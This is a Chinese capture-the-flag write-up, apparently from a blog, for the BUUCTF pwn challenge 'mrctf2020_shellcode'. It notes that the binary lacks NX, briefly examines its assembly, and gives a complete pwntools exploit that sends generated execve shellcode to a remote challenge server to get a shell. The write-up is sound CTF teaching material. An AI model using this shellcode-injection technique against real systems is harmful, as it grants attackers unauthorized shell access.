zoukankan      html  css  js  c++  java
  • [BUUCTF]PWN——mrctf2020_shellcode

    mrctf2020_shellcode

    附件

    步骤:

    1. 例行检查,64位程序,开启了relro和pie,没有nx,肯定是用shellcode最方便了
      在这里插入图片描述
    2. 本地试运行一下,看看大概的情况
      在这里插入图片描述
    3. 64位ida载入,根据运行时看到的字符串,迅速定位到关键程序,但是没法f5成伪代码,直接看汇编
      在这里插入图片描述
      栈大小是0x410,读入了0x400,无法造成溢出覆盖返回地址
      不过好像这边分析了用处也不大,直接利用pwntools生成shellcode发送即可
    shellcode=asm(shellcraft.sh())
    

    exp

    from pwn import *
    
    p=remote("node3.buuoj.cn",29643)
    #context.arch='amd64'
    context(arch = 'amd64', os = 'linux', log_level = 'debug')
    
    elf=ELF('./mrctf2020_shellcode')
    shellcode=asm(shellcraft.sh())
    p.sendline(shellcode)
    p.interactive()
    

    在这里插入图片描述

  • 相关阅读:
    第一次作业(2)
    第0次作业(2)
    最后一次作业—总结报告
    第八次作业
    第七周作业
    第六周作业
    第四周作业
    第4次作业
    2018c语言第3次作业
    2018c语言第2次作业
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273607.html
Copyright © 2011-2022 走看看